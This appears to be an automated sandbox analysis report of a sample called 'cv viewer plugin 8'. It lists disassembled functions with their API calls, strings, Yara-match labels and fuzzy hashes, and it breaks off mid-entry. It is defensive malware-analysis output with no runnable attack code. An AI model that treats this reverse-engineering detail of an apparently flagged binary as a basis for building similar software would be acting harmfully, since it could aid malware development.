Function 016A874F Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 139COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 016A87B7
_memmove.LIBCMT ref: 016A8865

Strings

invalid string position, xrefs: 016A87E0
string too long, xrefs: 016A87EA, 016A888C

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: _memmove
String ID: invalid string position$string too long
API String ID: 4104443479-4289949731
Opcode ID: 972804acbf847f77e8925b81d082015fe330e94ddbc953fbd42fdebc6a59df18
Instruction ID: 48dd84893f728cfe85aa0e27cc5494f8c0aafcd668d1e1472d649c966699afae
Opcode Fuzzy Hash: 972804acbf847f77e8925b81d082015fe330e94ddbc953fbd42fdebc6a59df18
Instruction Fuzzy Hash: 7D41E2317003049BD7289E6DDC80A6ABFAEEF51761B94092DE95687381CB70EC05CFA5

Function 016A30AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32(00000000), ref: 016A30C3
WSAStringToAddressA.WS2_32(?,?,00000000,?,?), ref: 016A3102
_memcmp.LIBCMT ref: 016A3141

Strings

255.255.255.255, xrefs: 016A3139

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AddressErrorLastString_memcmp
String ID: 255.255.255.255
API String ID: 1618111833-2422070025
Opcode ID: a63eb9bf90b4f7cdc48644d77717f28de033a67602ae08673f276e283b61e020
Instruction ID: 578667989d145b8019ab3fc63ac48c1cf9ad177507c763ebc82becc8478acc7e
Opcode Fuzzy Hash: a63eb9bf90b4f7cdc48644d77717f28de033a67602ae08673f276e283b61e020
Instruction Fuzzy Hash: 2031B071A003199FDB219F68CC807AEBBB6BF45325F50452DE9559B380D772AD41CF90

Function 016A1F56 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A1F5B
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,000000FF,?,00000000), ref: 016A1FC5
GetLastError.KERNEL32(?,00000000), ref: 016A1FD2

Part of subcall function 016A1712: __EH_prolog.LIBCMT ref: 016A1717

Strings

iocp, xrefs: 016A1FE0

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$CompletionCreateErrorLastPort
String ID: iocp
API String ID: 998023749-976528080
Opcode ID: 693c67760203c848f637d34de57effacd9445f1537286059a26c8825e7b1289f
Instruction ID: 29d7c13b29b8680d4959e77ce00839ecb9dc6282b27ce81a36b9bc275f7d175e
Opcode Fuzzy Hash: 693c67760203c848f637d34de57effacd9445f1537286059a26c8825e7b1289f
Instruction Fuzzy Hash: 4821C8B1901B459FC720DF6AC94456BFBF8FFA5710B108A1FE4A683A50D7B0A604CF95

Function 016B3B4C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 016B3B64

Part of subcall function 016B2FAC: __FF_MSGBANNER.LIBCMT ref: 016B2FC3
Part of subcall function 016B2FAC: __NMSG_WRITE.LIBCMT ref: 016B2FCA
Part of subcall function 016B2FAC: RtlAllocateHeap.NTDLL(00AA0000,00000000,00000001), ref: 016B2FEF

std::exception::exception.LIBCMT ref: 016B3B82
__CxxThrowException@8.LIBCMT ref: 016B3B97

Part of subcall function 016B455A: RaiseException.KERNEL32(?,?,016AFB5F,?,?,?,?,?,?,?,016AFB5F,?,016D0FA8,?), ref: 016B45AF

Strings

bad allocation, xrefs: 016B3B77

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AllocateExceptionException@8HeapRaiseThrow_mallocstd::exception::exception
String ID: bad allocation
API String ID: 3074076210-2104205924
Opcode ID: caa503b89e438d7a603ba9e4f49ad1f1788a1ca3c6033d941aff2c0a8b9afe65
Instruction ID: 0d3bfc69d5c62d8640c7205c28e2f01816b9519599ab87363dcaa363809117e7
Opcode Fuzzy Hash: caa503b89e438d7a603ba9e4f49ad1f1788a1ca3c6033d941aff2c0a8b9afe65
Instruction Fuzzy Hash: 5CE0A03090020AA6DF04EE68CC919EFBBBDAB20200F00445EA91466690DB309A84C794

Function 016A37B1 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A37B6
__localtime64.LIBCMT ref: 016A37C1

Part of subcall function 016B2600: __gmtime64_s.LIBCMT ref: 016B2613

std::exception::exception.LIBCMT ref: 016A37D9

Part of subcall function 016B24D3: std::exception::_Copy_str.LIBCMT ref: 016B24EC

Part of subcall function 016AA528: __EH_prolog.LIBCMT ref: 016AA52D
Part of subcall function 016AA528: Concurrency::cancellation_token::_FromImpl.LIBCPMT ref: 016AA53C
Part of subcall function 016AA528: __CxxThrowException@8.LIBCMT ref: 016AA55B

Strings

could not convert calendar time to UTC time, xrefs: 016A37CE

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$Concurrency::cancellation_token::_Copy_strException@8FromImplThrow__gmtime64_s__localtime64std::exception::_std::exception::exception
String ID: could not convert calendar time to UTC time
API String ID: 1963798777-2088861013
Opcode ID: 7ae75b233234b5d19f00da243e00ba2899c5d301351ed25508bf21ec52277476
Instruction ID: 9fde07d2429d10dcad7e1f11c8178e9356dff8aa14b606c281d2682c2fa6bff2
Opcode Fuzzy Hash: 7ae75b233234b5d19f00da243e00ba2899c5d301351ed25508bf21ec52277476
Instruction Fuzzy Hash: 19E06DB1D0020A9BCB04EFE4DC546FFBBB9FF14604F40459DD815A2640EB38AA19CF88

Function 0040315A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(KERNEL32,00402E6A), ref: 0040315F
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 0040316F

Strings

IsProcessorFeaturePresent, xrefs: 00403169
KERNEL32, xrefs: 0040315A

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: ee4fb49231880130fc7adb82ded6e302562b2849836945389797dfa68bab57f4
Instruction ID: 396ae008ee37b43aaac66eedf252cb0d6854bca9fd0baad0eaa83bc1c4717f20
Opcode Fuzzy Hash: ee4fb49231880130fc7adb82ded6e302562b2849836945389797dfa68bab57f4
Instruction Fuzzy Hash: 14C01270380B00A6EA201FB20F0AB2628AC1B48B03F1800BEA289F81C0CE7CC600843D

Function 00404C1C Relevance: 6.4, APIs: 5, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000,00002020,?,00000000,?,?,0040403A), ref: 00404C3D
VirtualAlloc.KERNEL32(00000000,00400000,00002000,00000004,?,00000000,?,?,0040403A), ref: 00404C61
VirtualAlloc.KERNEL32(00000000,00010000,00001000,00000004,?,00000000,?,?,0040403A), ref: 00404C7B
VirtualFree.KERNEL32(00000000,00000000,00008000,?,00000000,?,?,0040403A), ref: 00404D3C
HeapFree.KERNEL32(00000000,00000000,?,00000000,?,?,0040403A), ref: 00404D53

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: AllocVirtual$FreeHeap
String ID:
API String ID: 714016831-0
Opcode ID: 5cad5202a8731f25dba6dd4aaf0d633060e84280589fe69eb585605416c69a03
Instruction ID: 583ec5426b209604bff2a02b3d2478297b9ba55a468d27544d52312baf66a8bd
Opcode Fuzzy Hash: 5cad5202a8731f25dba6dd4aaf0d633060e84280589fe69eb585605416c69a03
Instruction Fuzzy Hash: BC31E2B15417019BE3348F24EE44B22B7A0EBC8754F11863AE665B73E1EB78A844CB5C

Function 0040443E Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 265memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00008000,00004000,76F8DFF0,?,00000000), ref: 00404696
VirtualFree.KERNEL32(?,00000000,00008000), ref: 004046F1
HeapFree.KERNEL32(00000000,?), ref: 00404703

Strings

4/@, xrefs: 0040443E

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Free$Virtual$Heap
String ID: 4/@
API String ID: 2016334554-3101945251
Opcode ID: 3ffb46cc47d32c3f8fdb2cc0b40f733643667e7721e671ee35378e11fae462b1
Instruction ID: 876bcf6037267374920b0e9be09a40bf20dde446c7cba65ee9efa19dd1b870bf
Opcode Fuzzy Hash: 3ffb46cc47d32c3f8fdb2cc0b40f733643667e7721e671ee35378e11fae462b1
Instruction Fuzzy Hash: 4AB18EB4A01205DFDB14CF44CAD0A69BBA1FB88314F25C1AEDA596F3A2D735ED41CB84

Function 016BC3E9 Relevance: 6.2, APIs: 4, Instructions: 162COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 016BC47A
_memmove.LIBCMT ref: 016BC4EE
___AdjustPointer.LIBCMT ref: 016BC53F
_memmove.LIBCMT ref: 016BC548

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: AdjustPointer_memmove
String ID:
API String ID: 1721217611-0
Opcode ID: ac7bcfb2a3ad1000f60a0d496df3467f615ab2d2103e30afcc75f3b58604dddd
Instruction ID: b84308ef364bd1f0386dcfb7c1a353d02329f0daddf819c3f88e737b10bde6f5
Opcode Fuzzy Hash: ac7bcfb2a3ad1000f60a0d496df3467f615ab2d2103e30afcc75f3b58604dddd
Instruction Fuzzy Hash: 6641D1766143039EFB255E69DCC0FFA3BA9AF51660F28001DE9418A2D1EB35E7D0CB64

Function 016B1320 Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,016A4149), ref: 016B13BF

Part of subcall function 016A3FDC: __EH_prolog.LIBCMT ref: 016A3FE1
Part of subcall function 016A3FDC: CreateEventA.KERNEL32(00000000,?,?,00000000), ref: 016A3FF3

CloseHandle.KERNEL32(00000000), ref: 016B13B4
CloseHandle.KERNEL32(00000004,?,?,?,?,?,?,?,?,?,?,?,016A4149), ref: 016B1400
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,016A4149), ref: 016B14D1

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseHandle$Event$CreateH_prolog
String ID:
API String ID: 2825413587-0
Opcode ID: eac0273396342aaedbe4752e45314f20fec1be2d95f42387f2aac09941e0aa53
Instruction ID: 59946868a12132314b20e507d27227308cbc2c5ec38f92b016d069a8df6891c0
Opcode Fuzzy Hash: eac0273396342aaedbe4752e45314f20fec1be2d95f42387f2aac09941e0aa53
Instruction Fuzzy Hash: CF51E5B1600305ABDB21CF28DCD479A7BE4FF46228F15462CE96997380E739D845CB95

Function 016B37AD Relevance: 6.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 016B3843
__flush.LIBCMT ref: 016B3863
__write.LIBCMT ref: 016B3896
__flsbuf.LIBCMT ref: 016B38C4

Part of subcall function 016B5E5B: __getptd_noexit.LIBCMT ref: 016B5E5B

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: __flsbuf__flush__getptd_noexit__write_memmove
String ID:
API String ID: 2782032738-0
Opcode ID: a9937a16b76c58c94b28bf15a68adb4139bcec099db716b101ad8f61a228703e
Instruction ID: 65aaa89e753f0bdd7d8b665e68efb8da0df282b3814f7b4f998f7838e1811073
Opcode Fuzzy Hash: a9937a16b76c58c94b28bf15a68adb4139bcec099db716b101ad8f61a228703e
Instruction Fuzzy Hash: 1D419271B00706ABEB288EADCCD05EEBBA6FF44360B15853EE51987390D771D9C18B45

Function 016BFF15 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 016BFF4B
__isleadbyte_l.LIBCMT ref: 016BFF79
MultiByteToWideChar.KERNEL32(?,00000009,00000108,?,00000000,00000000), ref: 016BFFA7
MultiByteToWideChar.KERNEL32(?,00000009,00000108,00000001,00000000,00000000), ref: 016BFFDD

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: f9339177925701f71c9ea0913ecf272987150d055134f08f521b1fc442fde0ba
Instruction ID: 4e652931d6740eff5ca4cfca7d24f37565c3b2038a8ff9c92d48b4357ceaaf2d
Opcode Fuzzy Hash: f9339177925701f71c9ea0913ecf272987150d055134f08f521b1fc442fde0ba
Instruction Fuzzy Hash: 9D319231600246AFEF218E6DCC84BFA7FAAFF42310F1544A9F965872A1D730D891CB90

Function 016C3EE3 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 016C3EFC
___ascii_strnicmp.LIBCMT ref: 016C3F3C
__tolower_l.LIBCMT ref: 016C3F53
__tolower_l.LIBCMT ref: 016C3F62

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Locale__tolower_l$UpdateUpdate::____ascii_strnicmp
String ID:
API String ID: 1764332673-0
Opcode ID: 0a80d8b17744c6479ff892d95519852f079cea994501e088f3a1339b4f9d947d
Instruction ID: 5fdede0b9ada468ad07571307efa1c9a8ee6d853fd2327e6e92ef779443d7041
Opcode Fuzzy Hash: 0a80d8b17744c6479ff892d95519852f079cea994501e088f3a1339b4f9d947d
Instruction Fuzzy Hash: D411D57190025BAFDB249A6CCC84BFA7B75FB11A50F044A5DE9B657390E7309C41C7A1

Function 016A3D7E Relevance: 6.1, APIs: 4, Instructions: 57networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(?), ref: 016A3DA2

Part of subcall function 016A3BD3: __EH_prolog.LIBCMT ref: 016A3BD8
Part of subcall function 016A3BD3: std::bad_exception::bad_exception.LIBCMT ref: 016A3BED

htonl.WS2_32(00000000), ref: 016A3DB9
htonl.WS2_32(00000000), ref: 016A3DC0
htons.WS2_32(?), ref: 016A3DD4

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: htonlhtons$H_prologstd::bad_exception::bad_exception
String ID:
API String ID: 3882411702-0
Opcode ID: feed434a5a37bdba43ca47cdd5b33fe0c8110a82ddd19bf3ac49579a41896ee4
Instruction ID: 128e89485f389fd4b24edf20953086c56a42698ba103f2822abd5e65b29f813b
Opcode Fuzzy Hash: feed434a5a37bdba43ca47cdd5b33fe0c8110a82ddd19bf3ac49579a41896ee4
Instruction Fuzzy Hash: CF117C36600209EFCF119F64DC85AAAB7BAFF49315B00805AFD05DF245D6719E14CBA5

Function 016A239D Relevance: 6.1, APIs: 4, Instructions: 52COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000), ref: 016A23D0
RtlEnterCriticalSection.NTDLL(?), ref: 016A23DE
InterlockedExchange.KERNEL32(?,00000001), ref: 016A2401
RtlLeaveCriticalSection.NTDLL(?), ref: 016A2408

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: 071feb12c3afc4ca1cbfde0b2f182615a9c20b20b1f7d461712dbd9b361a8861
Instruction ID: 546ced414d8b69f351b25ff61b80b3de873f78b796a9f6761f977f4346b940df
Opcode Fuzzy Hash: 071feb12c3afc4ca1cbfde0b2f182615a9c20b20b1f7d461712dbd9b361a8861
Instruction Fuzzy Hash: 7E11A972200205AFDB209F64DC84B6ABBB9FF51708F5040ADEA019B201E7B2FD11CFA0

Function 016BC83B Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 016BC85F

Part of subcall function 016BCF46: __fltout2.LIBCMT ref: 016BCF6F

__cftog_l.LIBCMT ref: 016BC885
__cftoe_l.LIBCMT ref: 016BC8B7

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction ID: ec16a450b7843ae7ded1ee74ae6696adef34b20311f56c4f85376ff89c7c9d45
Opcode Fuzzy Hash: a65d1881d29c7e947f5b32dbcea64912f89e558cad637ae539af3f1adf23f7b4
Instruction Fuzzy Hash: 31014E3200014AFBDF166E98DC81CEE3F26BF18364B498459FE5859171D336C6B1AB81

Function 016A247D Relevance: 6.0, APIs: 4, Instructions: 38COMMON

Download Yara Rule

APIs

PostQueuedCompletionStatus.KERNEL32(?,00000000,00000002,?), ref: 016A24A9
RtlEnterCriticalSection.NTDLL(?), ref: 016A24B8
InterlockedExchange.KERNEL32(?,00000001), ref: 016A24CD
RtlLeaveCriticalSection.NTDLL(?), ref: 016A24D4

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CriticalSection$CompletionEnterExchangeInterlockedLeavePostQueuedStatus
String ID:
API String ID: 4018804020-0
Opcode ID: d6e8ec7825bd257085aa09984250815f8fa8c95b0ecaaf014ac7b72cdfa998c1
Instruction ID: 26026b3276b5d55bb83a7a8b922f9287d7931538f3bb71cd88adcf750c0385bd
Opcode Fuzzy Hash: d6e8ec7825bd257085aa09984250815f8fa8c95b0ecaaf014ac7b72cdfa998c1
Instruction Fuzzy Hash: 05F03CB6200205AFDB009F69EC84FAABBBCFF54710F008019FA04C6145D771E960CFA4

Function 016A2004 Relevance: 6.0, APIs: 4, Instructions: 35COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A2009
RtlDeleteCriticalSection.NTDLL(?), ref: 016A2028
CloseHandle.KERNEL32(00000000), ref: 016A2037
CloseHandle.KERNEL32(00000000), ref: 016A204E

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: CloseHandle$CriticalDeleteH_prologSection
String ID:
API String ID: 2456309408-0
Opcode ID: 08ba967bd23e9e1e8ce799f6bd55be68199b95b4f39c0e7c369056ad7bdfd068
Instruction ID: 8f00ed4f3f91a9ef1998afd7d7a9033e844114fe2c6cb7ce8305a682146bb284
Opcode Fuzzy Hash: 08ba967bd23e9e1e8ce799f6bd55be68199b95b4f39c0e7c369056ad7bdfd068
Instruction Fuzzy Hash: 2A01D1711407059FC738AF58EC087BABBF5FF14705F40456DE94682690DBB4A944CF98

Function 016A1E26 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A1E2B
SetEvent.KERNEL32(00000000), ref: 016A1E3F
SetEvent.KERNEL32(?), ref: 016A1E58
SleepEx.KERNEL32(000000FF,00000001), ref: 016A1E62

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: Event$H_prologSleep
String ID:
API String ID: 1765829285-0
Opcode ID: b4d9db5a2991769954b0450dccada684e761e1c20bf508522633e3d24eae0dea
Instruction ID: f822c576ab0a85a1ca87ef61499e2d3eeadd0359e7f1238983ce2e68831211d1
Opcode Fuzzy Hash: b4d9db5a2991769954b0450dccada684e761e1c20bf508522633e3d24eae0dea
Instruction Fuzzy Hash: 15F03A76700110EFCB109FA8DCC8BA8BBA4FF09311F0081A9FA1ADB294CB759954CB61

Function 016A9F55 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 179COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016A9F5A
_memmove.LIBCMT ref: 016AA054

Strings

&', xrefs: 016AA03B

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog_memmove
String ID: &'
API String ID: 3529519853-655172784
Opcode ID: ccecdf073b7a35267dde7355511789d7b894fe28382144584380ef67e6b8cff5
Instruction ID: 80339ac0e00842b2e45c9b8b4dade3122538673984a7eb5e982734f373ce32c0
Opcode Fuzzy Hash: ccecdf073b7a35267dde7355511789d7b894fe28382144584380ef67e6b8cff5
Instruction Fuzzy Hash: 13617B71D0021A9FDF20EFA8CD80AADBBBAAF54314F50816ED505AB280D771AE45CF65

Function 0040602F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,00000000), ref: 00406043

Strings

, xrefs: 0040608C
, xrefs: 00406068

Memory Dump Source

Source File: 00000007.00000002.2643509901.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.2643509901.000000000040B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_cv viewer plugin 8.jbxd

Similarity

API ID: Info
String ID: $
API String ID: 1807457897-3032137957
Opcode ID: 2bcc76b937e26bb30bc14eae63f2c8421862a1fe3dbd7d24f008297243196a7e
Instruction ID: a42b242f0737112a64efb8245030e7df3adc9bcb2e8c8469847d94988edb9e3f
Opcode Fuzzy Hash: 2bcc76b937e26bb30bc14eae63f2c8421862a1fe3dbd7d24f008297243196a7e
Instruction Fuzzy Hash: 7B413731004158AEEB119754DD89BFB3FE9DB06700F1501F6D58BFB1D3C23949648BAA

Function 016ACDA4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016ACDA9

Part of subcall function 016AD367: std::exception::exception.LIBCMT ref: 016AD394

Part of subcall function 016ADB7D: __EH_prolog.LIBCMT ref: 016ADB82

Part of subcall function 016B3B4C: _malloc.LIBCMT ref: 016B3B64

Part of subcall function 016AD3C4: __EH_prolog.LIBCMT ref: 016AD3C9

Strings

class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void), xrefs: 016ACDDF
C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 016ACDE6

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_exception_>(void)
API String ID: 1953324306-412195191
Opcode ID: e22fd9032f7e40add7b4d12aec6ec76f1bc8c66583663fbadd60529acde5efda
Instruction ID: 9bf220dd910027e1a0146fa7cec7ff1e990f499358ce6f27e2ad7b88e2074fbc
Opcode Fuzzy Hash: e22fd9032f7e40add7b4d12aec6ec76f1bc8c66583663fbadd60529acde5efda
Instruction Fuzzy Hash: 6D21AD71E012599BDB24EFE8DC50AAEBBB9FF64B04F44405DE805AB380DB705A04CB95

Function 016ACCAF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 016ACCB4

Part of subcall function 016AD290: std::exception::exception.LIBCMT ref: 016AD2BF

Part of subcall function 016ADA46: __EH_prolog.LIBCMT ref: 016ADA4B

Part of subcall function 016B3B4C: _malloc.LIBCMT ref: 016B3B64

Part of subcall function 016AD2EF: __EH_prolog.LIBCMT ref: 016AD2F4

Strings

C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp, xrefs: 016ACCF1
class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void), xrefs: 016ACCEA

Memory Dump Source

Source File: 00000007.00000002.2646165637.00000000016A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 016A1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_16a1000_cv viewer plugin 8.jbxd

Yara matches

Similarity

API ID: H_prolog$_mallocstd::exception::exception
String ID: C:\boost_1_55_0\staging\include\boost-1_55\boost/exception/detail/exception_ptr.hpp$class boost::exception_ptr __cdecl boost::exception_detail::get_static_exception_object<struct boost::exception_detail::bad_alloc_>(void)
API String ID: 1953324306-1943798000
Opcode ID: e5087185952e4986066e6c2b0e9b29d8116f495a3ded5bacfb510f9ded7a0eba
Instruction ID: 05c98f0436a1b49a2055a324d0efb01f14148b658800faaceace388e4643acd0
Opcode Fuzzy Hash: e5087185952e4986066e6c2b0e9b29d8116f495a3ded5bacfb510f9ded7a0eba
Instruction Fuzzy Hash: 8721BF71E012899BDB14EFE8DD54AEEBBB5EF60704F44405DE905AB340DB705E04CB99

Function 016A534D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 72COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 016A535D

Part of subcall function 016B2FAC: __FF_MSGBANNER.LIBCMT ref: 016B2FC3
Part of subcall function 016B2FAC: __NMSG_WRITE.LIBCMT ref: 016B2FCA
Part of subcall function 016B2FAC: RtlAllocateHeap.NTDLL(00AA0000,00000000,00000001), ref: 016B2FEF

SHGetSpecialFolderPathA.SHELL32(00000000,00000000,00000023,00000000), ref: 016A536F

Strings

